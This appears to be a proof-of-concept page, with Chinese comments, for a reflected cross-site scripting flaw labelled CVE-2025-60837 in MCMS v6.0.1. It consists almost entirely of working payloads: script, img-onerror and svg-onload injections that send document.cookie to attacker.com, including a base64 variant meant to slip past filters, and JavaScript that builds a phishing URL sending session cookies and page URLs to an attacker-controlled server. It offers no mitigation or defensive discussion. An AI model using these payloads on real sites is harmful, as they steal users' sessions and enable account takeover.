CVE-2025-60837 MCMS v6.0.1 反射型跨站脚本(XSS)漏洞

<!-- CVE-2025-60837 PoC - MCMS v6.0.1 Reflected XSS --> <!-- 恶意链接示例 --> <!-- https://target-mcms-site.com/path?param=<script>alert(document.cookie)</script> --> <!-- 实际攻击载荷 - 窃取Cookie --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- 绕过过滤的变体载荷 --> <img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))"> <!-- SVG-based payload --> <svg/onload=fetch('https://attacker.com/log?c='+document.cookie)> <!-- 构造钓鱼攻击的完整PoC --> const xssPayload = '<script>fetch("https://attacker-controlled-server.com/collect?session="+document.cookie+"&url="+location.href)</script>'; const maliciousURL = 'http://target-mcms.com/mcms?' + encodeURIComponent('search') + '=' + encodeURIComponent(xssPayload); console.log('Malicious URL:', maliciousURL);